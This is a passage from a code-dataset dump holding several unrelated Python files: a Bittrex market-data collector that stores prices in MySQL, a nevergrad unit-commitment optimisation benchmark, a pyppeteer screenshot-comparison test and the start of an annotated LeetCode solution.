fromReqsJsontoDzn(req,dConst,fileOut)\n\n\n\n","repo_name":"AndreaBaroni92/ProgettoIA","sub_path":"run/convertitore.py","file_name":"convertitore.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"310150978","text":"# Created by Bogdan Trif on 22-08-2018 , 10:36 AM.\n\nimport time, os\nfrom platform import system\nimport operator\nimport pymysql\nimport requests # to make GET request\nfrom conf.sensitive import *\nfrom includes.DB_functions import *\nfrom includes.app_functions import *\nfrom collections import OrderedDict\nimport logging.config\n\nfrom os import path\n\nt1 = time.time()\n\n\n### LOGGING ###\nconfig = init_logging( config_file= 'conf/logging.json' , log_type= 'json' )\nlogging.config.dictConfig(config['logging'])\nlogger = logging.getLogger('get_API_bittrex_data')\n\n\n\nconnection = pymysql.connect( host= localhost, port=3306, user=USER, passwd=PASSWD, db=bittrex )\ncur = connection.cursor()\n# print('connection :', connection ,' cursor :', cur)\nlogger.debug('connection :' +str(connection) +' cursor :' +str( cur) )\n\n\ncur_datetime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n\n\nURL = 'https://bittrex.com/api/v1.1/public/getmarketsummaries'\nlogger.debug('markets file : ' + str(bittrex_markets_file) )\n\n\n# current_market = get_current_market()\n# logger.debug('current market = ' + str(current_market) )\n\n\n\n# file_append_with_text(API_bittrex_data_log, str(cur_datetime)+ ' getExternalContent( URL ) took ' + str(round((t2-t1)*1000,2)) + ' ms' +' , LOAD : ' + str(os.getloadavg() ) )\n\n\n\n#### First we delete the _volumes table in order to update it after :\ndelete_old_volumes_data = 'DELETE FROM _volumes WHERE market = %s;'\ndelete_old_variations_data = 'DELETE FROM _variations WHERE market = %s;'\n\n\n# ####### Preparation QUERIES #############\n# ## prep Query for getting last minute items and compare them with the current ones ###\n# prepQuery = 'SELECT last_price, volume, buy_vs_sell, id FROM `market_name` ORDER BY ID DESC LIMIT 1;'\n#\n# #### pre Query TO GET the values with 60 minutes (1 hour) behind #####\n# prep_VolumeQuery_1h = 'SELECT last_price, volume, buy_vs_sell, id FROM `market_name` WHERE ID = %s;'\n#\n# #### pre Query TO GET if the market is already in _VOLUMES TABLE or not #####\n# prep_Query_Volumes_market = 'SELECT market, status, time_in, volume FROM `_volumes` WHERE market = %s;'\n#\n# #### pre Query TO GET _HISTORY table values with 1 day offset behind #####\n# prep_HistoryQuery = 'SELECT market, time, vol_ch_1h, id FROM `_history` WHERE time >= DATE_SUB(NOW(), INTERVAL 1 DAY) AND market = %s;'\n\n\n\n\nclass CustomizedMarkets(object) :\n def __init__(self, markets_file ):\n # super(CustomizedMarkets, self).__init__()\n self.markets_file = markets_file\n self.defined_Markets = set(self.read_file_line_by_line(self.markets_file))\n\n\n def read_file_line_by_line( self , filename) :\n ### Read valid Markets from file :\n ''':Description : Read a filename line by line and the put the elements found\n in the form of strings into a LIST '''\n L = []\n with open( filename, 'r') as f :\n for line in f :\n l = line.rstrip('\\n')\n # print(l, type(l) )\n L.append(l)\n f.close()\n return L\n\n\n\nclass DataPreparation(DataAquisition, CustomizedMarkets):\n ''':Description: Class which inherits the properties of other classes and aggregates data.\n Roles : 1. take the data from Bittrex API and put in a dataset.\n 2. see which markets are defined and suitable;\n :Methods of the class:\n 3. detect when new markets are added;\n 4. select what items will be taken from the dataset\n 5. deliver a new dataset which contains only usable data.\n '''\n\n def __init__( self, URL, markets_file ) :\n # super(DataInsertion, self).__init__(URL )\n # super( DataInsertion, self ).__init__()\n DataAquisition.__init__(self, URL)\n CustomizedMarkets.__init__(self, markets_file)\n logger.info('self.defined_Markets : ' + str(len(self.defined_Markets)) + ' ' + str(self.defined_Markets))\n self.markets_dataset = self.collect_API_items()\n # logger.debug('markets_dataset : ' + str(self.markets_dataset))\n self.new_Markets = self.detect_new_markets()\n self.db_markets_dataset = { k:v for k,v in self.markets_dataset.items() if k not in self.new_Markets }\n logger.info(Colors.fg.green + str(len(self.db_markets_dataset)) + str(self.db_markets_dataset) + Colors.reset )\n\n\n def detect_new_markets( self ):\n ''' :Description: check the existing tables in the bittrex DB and compares with the ones\n defined in the defined_Markets. If new ones are added,\n then the method creates the corresponding table to bittrex DB'''\n existing_tables_result = cur.execute( QUERIES['query_existing_tables']) #, ('bittrex', 'BTC-ADAs') )\n\n if len(self.defined_Markets) != existing_tables_result :\n logger.info('existing_tables_result = ' + str( existing_tables_result) + ' length defined_Markets= ' + str(len(self.defined_Markets)))\n markets_in_db = { i[0].upper() for i in cur.fetchall() }\n logger.info('markets_in_db : ' + str(len(markets_in_db)) + str(markets_in_db) )\n New_markets = self.defined_Markets.difference(markets_in_db)\n if len(New_markets) > 0 :\n logger.warning('New_markets : ' + Colors.bg.yellow + str( New_markets ) + Colors.reset )\n New_markets_data = { k:v for k,v in self.markets_dataset.items() if k in New_markets}\n logger.warning(Colors.bg.yellow + str(New_markets_data) + Colors.reset)\n return New_markets_data\n\n return []\n\n\n def select_API_bittrex_items(self, ITEM):\n market = ITEM[\"MarketName\"]\n lastPrice = format( ITEM[\"Last\"] ,'.8f')\n volume = round( ITEM[\"BaseVolume\"] , 4 )\n bid = format( ITEM[\"Bid\"] , '.8f')\n ask = format( ITEM[\"Ask\"] , '.8f' )\n openBuyOrders = int(ITEM[\"OpenBuyOrders\"])\n openSellOrders = int(ITEM[\"OpenSellOrders\"])\n buyVsSell = round( openBuyOrders/openSellOrders, 4 )\n\n return market, lastPrice, volume, bid, ask, openBuyOrders, openSellOrders, buyVsSell\n\n\n def collect_API_items(self):\n DATASET = OrderedDict()\n defined_Markets_dataset = [market for market in self.raw_markets if market['MarketName'] in self.defined_Markets]\n logger.info('(collect_API_items ) defined_Markets_dataset : ' + str(len(defined_Markets_dataset)) + str(defined_Markets_dataset))\n for cnt, ITEM in enumerate(defined_Markets_dataset) :\n cur_datetime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime() )\n market, lastPrice, volume, bid, ask, openBuyOrders, openSellOrders, buyVsSell = self.select_API_bittrex_items(ITEM)\n DATASET[str(market)] = { 'last_price': lastPrice , 'volume': volume ,'bid': bid , 'ask': ask , 'buy_ord': openBuyOrders ,'sell_ord': openSellOrders , 'BvS': buyVsSell }\n # print(str(cnt+1)+'. market=', market ,' lastPrice=', lastPrice , ' volume=', volume ,' bid=', bid , ' ask=', ask , ' openBuyOrders=', openBuyOrders ,' openSellOrders=', openSellOrders , ' buyVsSell=', buyVsSell )\n # print('DATASET : ',DATASET )\n return DATASET\n\n\nclass Computations():\n ''':Description: Class to make only needed computations for price_ch, volume_ch, buy_vs_sell_ch\n '''\n def __init__(self, Last_Values, Previous_Values):\n self.Last_Values = Last_Values\n self.Previous_Values = Previous_Values\n self.Names = ['Price_ch', 'Vol_ch', 'BvS_ch' ]\n self.Price_Vol_BvS_ch = self.get_values_changes()\n\n\n def get_values_changes(self) :\n ''':Description: constructs an array of changes up to the given period of time which is maximum\n\n :param Last_Values: lst, Last_Values is an array containing the data taken from the API in the form [last_Price, volume, buyVsSell ]\n :param Previous_Values: 2d array ; in the form [ [last_Price, volume, buyVsSell ]_5m, [last_Price, volume, buyVsSell ]_15m, ... ]\n :return: 2D array, in the form [[ pr_ch_5m, vol_ch_5m, , BvS_ch_5m ], [ pr_ch_15m, vol_ch_15m, , BvS_ch_15m], ... ]\n '''\n\n Price_Vol_BvS_ch =[]\n for i in range(len(self.Previous_Values)) :\n logger.debug( str(Periods[i]) +' : Last_Values : ' +str( self.Last_Values[i]) + ' Previous_values : ' +str( self.Previous_Values[i]) )\n perc = [ percent( p, self.Last_Values[i], 2) for p in self.Previous_Values[i] ]\n logger.debug(str(self.Names[i])+ ' percentages : ' + str(perc) )\n Price_Vol_BvS_ch.append(perc)\n\n return Price_Vol_BvS_ch\n\n\n\nclass DatabaseCollection(DataPreparation) :\n ''':Description: Class to Collect OLD Items from a SINGLE TABLE. It needs current values obtained\n from DataPreparation Class in order to replace missing values from Db when getting the\n old values array of [ old_prices 5m, 15m, 30m ..., ] ,[ old_volumes 5m, 15m, 30m ..., ],[ old_buy_vs_sell 5m, 15m, 30m ..., ]\n '''\n def __init__(self, table_name ):\n self.QB = QueryBuilder()\n self.table_name = table_name\n\n # super().__init__(URL, markets_file)\n\n ### Method Calls\n self.last_id= self.get_last_index()\n logger.debug('self.last_id : ' + str(self.last_id) )\n\n self.max_index_diff = self.compute_max_index_behind()\n logger.debug('self.max_index_diff : ' + str(self.max_index_diff) )\n\n self.Old_Values = self.get_old_values()\n logger.debug('self.Old_Values : ' +str( self.Old_Values) )\n\n\n def get_last_index(self):\n ''' :return: last_id from a table '''\n last_index_query = self.QB.select_query(self.table_name, 'ORDER BY ID DESC LIMIT 1', *['id'] )\n try :\n result = cur.execute(last_index_query)\n # print('result : ', result)\n last_id = cur.fetchone()[0]\n # print('last_id : ', last_id )\n return last_id # diff index return\n\n except :\n logger.warning('Sorry no such entry in the table. This means that there is no record in the table : ' + str(self.table_name) )\n\n\n def compute_max_index_behind(self ):\n ''':Description: Computes the maximum index behind the last record by taking the first index in the table.\n We need this information to know how much time we can go back to extract values. '''\n # 'select id from `market_name` ORDER BY ID LIMIT 1;'\n if self.get_last_index() != None :\n first_id_query = self.QB.select_query(self.table_name, 'ORDER BY ID LIMIT 1', *['id'] )\n # logger.debug('query : ' +str(first_id_query) )\n first_id_result = cur.execute(first_id_query)\n first_id = cur.fetchone()[0]\n logger.debug('first_id : ' + str(first_id))\n\n\n # logger.debug('first_id : ' +str( first_id) + ' self.last_id = ' +str( self.last_id )+ ' indeces behind = ', +str(self.last_id - first_id +1) )\n return self.last_id - first_id +1 # diff index return\n\n\n\n def get_old_values(self ):\n ''':Description: Method to get the old values FROM DATABASE.\n :param cur_values: lst, array with [last_price, last_vol, last_buy_vs_sell ]\n :return: lst of list, three arrays of int with values in the form [ [ old_prices ... ], [old_volumes] ,[old_buy_vs_sells] ] '''\n Prices, Vols, BvSs =[], [], []\n i=0\n for i in range(len(Times)) :\n if Times[i] <= self.max_index_diff :\n index = self.last_id - Times[i]+1\n logger.debug(str(i) +' Time_index : ' + str(Times[i]) + ' Period : '+ str(Periods[i]) + ' index = ' +str( index) )\n # 'SELECT id, last_price, volume, buy_vs_sell from `market_name` WHERE ID = %s;'\n Select_result = 0\n while Select_result != 1 :\n try :\n Sel_query = self.QB.select_query(self.table_name, 'WHERE ID='+str(index) ,*['last_price', 'volume', 'BvS' , 'id' ] )\n logger.debug('Sel_query : ' + str(Sel_query) )\n Select_result = cur.execute(Sel_query)\n logger.debug('Select_result : ' + str(type(Select_result)) +str( Select_result) )\n Vals = cur.fetchone()\n logger.debug(str(Periods[i]) +' : old values : ' + str(Vals) )\n Prices.append(Vals[0])\n Vols.append(Vals[1])\n BvSs.append(Vals[2])\n\n except :\n # print('\\n' + Colors.fg.purple+' SORRY ! No id with this value = ' +str(index) + Colors.reset )\n index +=1\n logger.debug('Select_result = ' + str(Select_result) + ' We try index =' + Colors.fg.purple+ str(index) + Colors.reset)\n\n\n logger.debug('Prices : ' + str( Prices) )\n logger.debug('Vols : '+ str(Vols ) )\n logger.debug('BvSs : '+ str(BvSs ) )\n\n return Prices, Vols, BvSs\n\n def get_custom_values_behind(self, period_behind ):\n ''':Description: finds the old values corresponding to period behind. E.g. find the values of 5m, 15m, 30m, 1h, 4h, 8h, 1d, ...\n :param period_behind: string, of the form 5m, 15m, 30m, 1h, 4h, 8h, 1d, ...\n :return: tuple (Price, Vol, BvS), of its corresponding index if it is found '''\n try :\n index_behind = Periods.index(period_behind)\n # print('index_behind = ', index_behind)\n return self.Old_Values[0][index_behind], self.Old_Values[1][index_behind], self.Old_Values[2][index_behind]\n except ValueError :\n logger.warning(Colors.bg.yellow + 'The period ' + period_behind +' is not among ' + str(Periods) +' !!!. Try to use one of these !' +Colors.reset )\n return -10, -10, -10 # return to avoid errors\n\n\n\n\nclass DatabaseOperations( ):\n ''':Description: Class to do INSERT, UPDATE Operations on a SINGLE TABLE '''\n def __init__(self, market, kwargs ):\n self.QB = QueryBuilder()\n # print('self.DC = ', len(self.DC.MARKETS), self.DC.MARKETS )\n self.table_name = market\n self.kwargs = kwargs\n logger.debug('DatabaseOperations table_name & **kwargs : ' +str( self.table_name) + ' ' +str(self.kwargs ) )\n\n\n def create_market_table( self ):\n createTableResult = cur.execute( TABLES['create_market_name'].replace('table_name', self.table_name ) )\n logger.warning(Colors.fg.cyan + 'createTableResult : '+ str(createTableResult) )\n logger.warning(Colors.fg.cyan+ 'table ' +Colors.bg.red + str(self.table_name) + Colors.fg.cyan + ' has been created' + Colors.reset )\n QueryBuilder.insert_query(self.table_name )\n\n\n def insert( self, commit ):\n query_insert = self.QB.insert_query(self.table_name, **self.kwargs )\n try :\n insert_res = cur.execute(query_insert)\n logger.debug(Colors.bg.green + 'insert_result : ' + str( insert_res ) + Colors.reset )\n if commit == True : connection.commit()\n\n except :\n logger.error(Colors.bg.red + 'Sorry ! Insertion is not possible for ' + str(self.table_name) +' with **kwargs : ' +str( self.kwargs) +Colors.reset )\n connection.rollback()\n\n def update_row_in_evolution(self):\n try :\n update_query = self.QB.update_query('_evolution' , 'market' , self.table_name, **self.kwargs )\n logger.debug('update_evolution_query : ', update_query )\n update_res = cur.execute(update_query)\n # print('update__evolution_res : ' + str(update_res))\n\n if update_res ==0 :\n insert_query = self.QB.insert_query('_evolution', **{'market': self.table_name, 'time' : cur_datetime } )\n logger.debug('insert evolution query : ' + str(insert_query))\n ins_res = cur.execute(insert_query)\n # print('insert evolution result : ' + str(ins_res))\n\n except :\n logger.error('There was an error at update__evolution_res !')\n\n\n def update_row_in_volumes(self):\n try :\n update_volumes_query = self.QB.update_query('_volumes' , 'market' , self.table_name, **self.kwargs )\n logger.debug('update_volumes_query : ', update_volumes_query )\n update_vol_res = cur.execute(update_volumes_query)\n # print('update_volumes_res : ' + str(update_vol_res))\n if update_vol_res ==0 :\n insert_vol_query = self.QB.insert_query('_volumes', **{'market': self.table_name, 'time' : cur_datetime } )\n logger.debug('insert _volumes query : ' + str(insert_vol_query))\n ins_vol_res = cur.execute(insert_vol_query)\n # print('insert _volumes result : ' + str(ins_vol_res))\n\n except :\n logger.error('There was an error at update_volumes_res !')\n\n\n\n\n\nclass BittrexDatabaseOps( ):\n ''':Description: Class used only for bittrex database specific operations.\n It aggregates and prepares all the parameters in a single dictionary of **kwargs '''\n def __init__(self, table_name, cur_vals, other_vals ):\n self.table_name = self.market_name = table_name\n self.cur_vals = cur_vals\n self.percentages = self.other_vals = other_vals\n # self.kwargs_btc_ada = self.assemble_main_markets_args()\n # self.kwargs_evolution = self.assemble_evolution_markets_args()\n\n\n def assemble_main_markets_args(self):\n names = ['price_ch', 'vol_ch', 'BvS_ch' ]\n changes = { names[i] : self.percentages[i][0] for i in range(len(self.percentages )) }\n # print('cur_vals : ', self.cur_vals )\n # print('changes : ', changes )\n\n _kwargs = { **self.cur_vals, **changes, **{'date' : cur_datetime} }\n # print('kwargs : ', _kwargs )\n return _kwargs\n # DO = DatabaseOperations(self.table_name, **_kwargs)\n # print('DO :', DO)\n # DO.insert( True )\n\n def assemble_evolution_markets_args(self):\n # print('assemble_evolution_markets_args : cur _vals = ' + str( self.cur_vals) )\n\n PR , VOL , BVS = self.other_vals[0], self.other_vals[1], self.other_vals[2]\n pr_0, vol_0, BvS_0 = self.cur_vals['last_price'], self.cur_vals['volume'], self.cur_vals['BvS']\n # print(' pr_0, vol_0, BvS_0 : ', pr_0, vol_0, BvS_0)\n\n # we insert the current values at the beginning of the list\n PR.insert(0, pr_0) ; VOL.insert(0, vol_0 ) ; BVS.insert(0, BvS_0 )\n # print('PR , VOL , BVS : ' + str(PR) + str( VOL) + str(BVS) )\n\n # take only as needed name keys as needed\n Price_per = Price_periods[:len(PR)]\n Vol_per = Vol_periods[:len(VOL)]\n BvS_per = BvS_periods[:len(BVS)]\n # print(' Price_periods , Vol_periods, BvS_periods : ', Price_per, Vol_per, BvS_per )\n\n # make a dictionary of key:values. Like {'pr_0' : 0.02, 'pr_5m: 0.4, ... } ; {'vol_0' : 62.23, 'vol_5m: 64.45, ... }, ...\n Prices = { Price_per[i] : PR[i] for i in range(len(PR)) }\n Volumes = { Vol_per[i] : VOL[i] for i in range(len(VOL)) }\n BvSs = { BvS_per[i] : BVS[i] for i in range(len(BVS)) }\n __kwargs = { **Prices, **Volumes, **BvSs, **{'time' : cur_datetime} }\n logger.debug('assemble_evolution_markets_args __kwargs : ' + str( __kwargs) )\n return __kwargs\n\n\n def assemble_volumes_markets_args(self):\n logger.info('All_Percentages : ' + str( self.percentages) )\n if len(self.percentages[0]) >= 4: percentages_1h = { 'pr_ch_1h' : self.percentages[0][3], 'vol_ch_1h' : self.percentages[1][3], 'BvS_ch_1h' : self.percentages[2][3] }\n else : percentages_1h = { 'pr_ch_1h' : -10, 'vol_ch_1h' : -10, 'BvS_ch_1h' : -10 }\n percentages_5m = { 'pr_ch_5m' : self.percentages[0][0], 'vol_ch_5m' : self.percentages[1][0], 'BvS_ch_5m' : self.percentages[2][0] }\n current_vals = { 'last_price' : self.cur_vals['last_price'] ,'volume' : self.cur_vals['volume'] ,'BvS' : self.cur_vals['BvS'] }\n _kwargs_volumes = { **percentages_1h, **percentages_5m, **current_vals , **{'time' : cur_datetime}}\n logger.debug('_kwargs_volumes : ' +str( _kwargs_volumes) )\n return _kwargs_volumes\n\n\n\nt2 = time.time()\nif system() == 'Linux' :\n logger.warning(' getExternalContent( URL ) took ' + str(round((t2-t1)*1000,2)) + ' ms' + ' , LOAD : ' + str(os.getloadavg() ) )\n\nif __name__ == '__main__' :\n ### 1. Take the Data from Bittrex API, the chosen markets BTC-ADA\n DP = DataPreparation(URL, bittrex_markets_file)\n\n # logger.debug('DP.MARKETS dataset : ' + str(DP.markets_dataset) )\n\n cnt =0\n for market, Vals in DP.db_markets_dataset.items() :\n cnt+=1\n logger.info('---'*20 )\n logger.warning(Colors.bg.iceberg +'#'+str(cnt) +' market : ' + str(market) + Colors.fg.blue + ' Vals : '+ str(Vals) + Colors.disable )\n\n ### BTC-ADA MARKETS / Individual TABLES ###\n # 2. Prepare the data for insertion in the main market -->\n # the 5m values from API bittrex, Price_Vol_BvS changes & real_volume\n\n DC = DatabaseCollection(market)\n Values_5m = DC.get_custom_values_behind('5m')\n logger.debug('Values_5m : ' + str(Values_5m) )\n\n ### Get Old Values for Price, Volume, buy_vs_sell @ 5m, 15m, 30m, 1h, 4h, 8h, 1d, ....\n All_Old_Values = DC.Old_Values\n logger.debug(Colors.fg.green + 'Pr_Vol_BvS_Old_Values : ' + str(All_Old_Values) + Colors.disable )\n\n ### Last Values taken from the BITTREX API\n Current_Vals = [Vals['last_price'], Vals['volume'], Vals['BvS']]\n logger.info(Colors.fg.cyan + 'Current_Vals : ' + str(Current_Vals) + Colors.disable)\n\n ### 2a. Compute the percent variations for Price, Volume & Buy_vs_Sell\n All_Percentages = Computations(Current_Vals, All_Old_Values).Price_Vol_BvS_ch\n # print('CALC All_Percentages : ', All_Percentages )\n\n ### REAL VOLUME ###\n real_volume = get_market_real_volume(market, 5 )\n\n ### 2b. Gather All the **kwargs to INSERT into the BTC-ADA markets\n kwargs_btc_ada = BittrexDatabaseOps(market, Vals, All_Percentages).assemble_main_markets_args()\n kwargs_btc_ada.update(real_volume) # Update kwargs_btc_ada with real_volume dictionary\n logger.info('main_market_args : ' +str( kwargs_btc_ada) )\n\n ### 2c. Markets 'BTC-ADA' INSERTS ###\n DO = DatabaseOperations(market, kwargs_btc_ada)\n DO.insert( False )\n\n ### _EVOLUTION TABLE ###\n\n kwargs_evolution = BittrexDatabaseOps(market, Vals, All_Old_Values ).assemble_evolution_markets_args()\n DO = DatabaseOperations(market, kwargs_evolution)\n DO.update_row_in_evolution()\n\n ### _VOLUMES TABLE ###\n\n kwargs_volumes = BittrexDatabaseOps(market, Vals, All_Percentages).assemble_volumes_markets_args()\n kwargs_volumes.update(real_volume)\n DO = DatabaseOperations(market, kwargs_volumes)\n DO.update_row_in_volumes()\n\n\n\n ###############################\n ### 3. New Markets Case ###\n ###############################\n if len(DP.new_Markets) > 0 :\n for market, Vals in DP.new_Markets.items() :\n cnt+=1\n logger.info('---'*20 )\n logger.info(Colors.bg.iceberg +'#'+str(cnt) +' market : ' + str(market) + Colors.fg.blue + ' Vals : '+ str(Vals) + Colors.disable )\n\n main_market_args = { **Vals, **{'date' : cur_datetime} }\n logger.info('main_market_args : ' +str(main_market_args) )\n DO = DatabaseOperations(market, main_market_args)\n DO.create_market_table()\n\n DO.insert(True)\n\n\n\n connection.commit()\n connection.close()\n\nt3 = time.time()\nif system() == 'Linux' :\n logger.warning(' market INSERT in tables took ' + str(round((t3-t2),2)) + ' s' + ' , LOAD : ' + str(os.getloadavg() ) )\n","repo_name":"btrif/bittrex","sub_path":"get_API_bittrex_data.py","file_name":"get_API_bittrex_data.py","file_ext":"py","file_size_in_byte":24294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1032555861","text":"import numpy as np\nimport nevergrad as ng\nfrom ..base import ExperimentFunction\n\n\nclass UnitCommitmentProblem(ExperimentFunction):\n \"\"\"Model that uses conventional implementation for semi-continuous variables\n The model is adopted from Pyomo model 1: Conventional implementation for semi-continuous variables\n (https://jckantor.github.io/ND-Pyomo-Cookbook/04.06-Unit-Commitment.html)\n The constraints are added to the objective with a heavy penalty for violation.\n\n Parameters\n ----------\n num_timepoints: int\n number of time points\n num_generators: int\n number of generators\n penalty_weight: float\n weight to penalize for violation of constraints\n \"\"\"\n\n def __init__(\n self,\n problem_name: str = \"semi-continuous\",\n num_timepoints: int = 13,\n num_generators: int = 3,\n penalty_weight: float = 10000,\n ) -> None:\n if problem_name not in [\"semi-continuous\"]:\n raise NotImplementedError\n\n # Demand for certain time period\n self.num_timepoints = num_timepoints\n self.demands = np.random.uniform(low=100, high=200, size=(self.num_timepoints,))\n\n # Generating units\n self.num_generators = num_generators\n self.p_max = 2 * max(self.demands) / self.num_generators\n self.p_min = 0.6 * self.p_max\n\n # Cost\n self.cost_a = np.clip(np.random.randn(self.num_generators) * 0.2 + 0.5, a_min=0, a_max=None)\n self.cost_b = np.random.uniform(low=0, high=10, size=(self.num_generators,))\n\n self.penalty_weight = penalty_weight\n\n param_operational_output = ng.p.Array(shape=(self.num_generators, self.num_timepoints)).set_bounds(\n 0, self.p_max\n )\n # param_operational_states = ng.p.Array(shape=(self.num_generators, self.num_timepoints)).set_bounds(0, 1).set_integer_casting() #\n param_operational_states = ng.p.Choice([0, 1], repetitions=self.num_timepoints * self.num_generators)\n instru = ng.p.Instrumentation(\n operational_output=param_operational_output,\n operational_states=param_operational_states,\n ).set_name(\"\")\n super().__init__(self.unit_commitment_obj_with_penalization, instru)\n\n def unit_commitment_obj_with_penalization(self, operational_output, operational_states):\n operational_states = np.array(operational_states).reshape(self.num_generators, self.num_timepoints)\n demand_penalty, lb_penalty, ub_penalty = 0, 0, 0\n # From demand constraint\n demand_penalty = np.sum(np.abs(np.sum(operational_output, axis=0) - self.demands))\n # From semi_continuous_constraints\n lb_penalty = np.sum(\n np.clip(self.p_min * operational_states - operational_output, 0, a_max=None),\n axis=None,\n )\n ub_penalty = np.sum(\n np.clip(operational_output - self.p_max * operational_states, 0, a_max=None),\n axis=None,\n )\n # Running cost\n running_cost = np.sum(\n np.sum(operational_output, axis=1) * self.cost_a\n + np.sum(operational_states, axis=1) * self.cost_b\n )\n ret = running_cost + (demand_penalty + lb_penalty + ub_penalty) * self.penalty_weight\n return ret\n","repo_name":"facebookresearch/nevergrad","sub_path":"nevergrad/functions/unitcommitment/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":3743,"dataset":"github-code","pt":"78"} +{"seq_id":"31379312041","text":"import asyncio\nimport shutil\nfrom pyppeteer import launch\nfrom filecmp import dircmp\nimport pathlib\n\n\ndirpath = pathlib.Path(\"Output\")\nif dirpath.is_dir():\n shutil.rmtree(dirpath)\ndirpath.mkdir(parents=True, exist_ok=False)\n\nasync def main():\n args = ['--window-size=1920,1080','--start-maximized', '--disable-infobars']\n browser = await launch(headless = True, args = args);\n page = await browser.newPage()\n await page.setViewport({'width': 1920, 'height': 1080})\n await page.goto('https://landingpage-dev.redplatform.com/en/')\n await page.screenshot({'path': 'Output/home.png'})\n await page.goto('https://landingpage-dev.redplatform.com/en/earn-from-energy/')\n await page.screenshot({'path': 'Output/earn-from-energy.png'})\n await page.goto('https://landingpage-dev.redplatform.com/en/gtk-for-manufacturers/')\n await page.screenshot({'path': 'Output/gtk-for-manufacturers.png'})\n await page.goto('https://landingpage-dev.redplatform.com/en/green-certification-for-companies/')\n await page.screenshot({'path': 'Output/green-certification-for-companies.png'})\n await page.goto('https://landingpage-dev.redplatform.com/en/red-for-suppliers/')\n await page.screenshot({'path': 'Output/red-for-suppliers.png'})\n await page.goto('https://landingpage-dev.redplatform.com/en/faq/')\n await page.screenshot({'path': 'Output/faq.png'})\n await browser.close()\n\nasyncio.get_event_loop().run_until_complete(main())\ndcmp = dircmp('Output', 'Expected')\nprint(\"Check differences in files: \", dcmp.diff_files)\n","repo_name":"AuricaNeaga/RestartTest","sub_path":"TestPages.py","file_name":"TestPages.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15211153049","text":"\"\"\"\n\n[1125] Smallest Sufficient Team\n\n\nIn a project, you have a list of required skills req_skills, and a list of people. The ith person people[i] contains a list of skills that the person has.\n\nConsider a sufficient team: a set of people such that for every required skill in req_skills, there is at least one person in the team who has that skill. We can represent these teams by the index of each person.\n\n\n\tFor example, team = [0, 1, 3] represents the people with skills people[0], people[1], and people[3].\n\n\nReturn any sufficient team of the smallest possible size, represented by the index of each person. You may return the answer in any order.\n\nIt is guaranteed an answer exists.\n\n\nExample 1:\nInput: req_skills = [\"java\",\"nodejs\",\"reactjs\"], people = [[\"java\"],[\"nodejs\"],[\"nodejs\",\"reactjs\"]]\nOutput: [0,2]\nExample 2:\nInput: req_skills = [\"algorithms\",\"math\",\"java\",\"reactjs\",\"csharp\",\"aws\"], people = [[\"algorithms\",\"math\",\"java\"],[\"algorithms\",\"math\",\"reactjs\"],[\"java\",\"csharp\",\"aws\"],[\"reactjs\",\"csharp\"],[\"csharp\",\"math\"],[\"aws\",\"java\"]]\nOutput: [1,2]\n\n\nConstraints:\n\n\n\t1 <= req_skills.length <= 16\n\t1 <= req_skills[i].length <= 16\n\treq_skills[i] consists of lowercase English letters.\n\tAll the strings of req_skills are unique.\n\t1 <= people.length <= 60\n\t0 <= people[i].length <= 16\n\t1 <= people[i][j].length <= 16\n\tpeople[i][j] consists of lowercase English letters.\n\tAll the strings of people[i] are unique.\n\tEvery skill in people[i] is a skill in req_skills.\n\tIt is guaranteed a sufficient team exists.\n\n################################################################\n\n# TODO\n# tag: dp, bitmask\n\n1125. 最小的必要团队\n\n作为项目经理,你规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。\n\n所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。可以用每个人的编号来表示团队中的成员:\n\n例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。\n请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按 任意顺序 返回答案,题目数据保证答案存在。\n\n示例 1:\n\n输入:req_skills = [\"java\",\"nodejs\",\"reactjs\"], people = [[\"java\"],[\"nodejs\"],[\"nodejs\",\"reactjs\"]]\n输出:[0,2]\n示例 2:\n\n输入:req_skills = [\"algorithms\",\"math\",\"java\",\"reactjs\",\"csharp\",\"aws\"], people = [[\"algorithms\",\"math\",\"java\"],[\"algorithms\",\"math\",\"reactjs\"],[\"java\",\"csharp\",\"aws\"],[\"reactjs\",\"csharp\"],[\"csharp\",\"math\"],[\"aws\",\"java\"]]\n输出:[1,2]\n\n\n\"\"\"\n\nimport sys\nimport inspect\nimport os\nimport unittest\n\nfrom itertools import *\nfrom collections import *\nfrom copy import *\nfrom typing import *\nfrom math import *\n\nfrom os.path import abspath, join, dirname\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nparentdir = os.path.dirname(parentdir) # algo\nparentdir = os.path.dirname(parentdir) # leetcode\nparentdir = os.path.dirname(parentdir) # oj\nparentdir = os.path.dirname(parentdir) # algo\nsys.path.insert(0, parentdir)\n# print(sys.path)\n\n\nfrom algo.tree.builder import *\n\n\"\"\"\n作者:灵茶山艾府\n链接:https://leetcode.cn/problems/smallest-sufficient-team/solutions/2214387/zhuang-ya-0-1-bei-bao-cha-biao-fa-vs-shu-qode/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n\n\"\"\"\n\n\n\"\"\"\n前置知识:集合论,位运算\n\n位运算技巧:\n1. 将元素 x 变成集合 {x}, 即 1 << x\n2. 判断元素 x 是否在集合 A 中, 即 ((A >> x) & 1) == 1\n3. 计算两个集合 A, B 的并集 A U B, 即 A | B。例如 110 | 11 == 111\n4. 计算 A \\ B,表示从集合 A 中去掉在集合 B 中的元素,即 A & ~B。例如 110 & ~11 = 100\n5. 全集 U = {0, 1, ..., n-1},即 (1 << n) - 1\n\n一、转换成 0-1 背包问题\n重新描述一遍问题,从 people 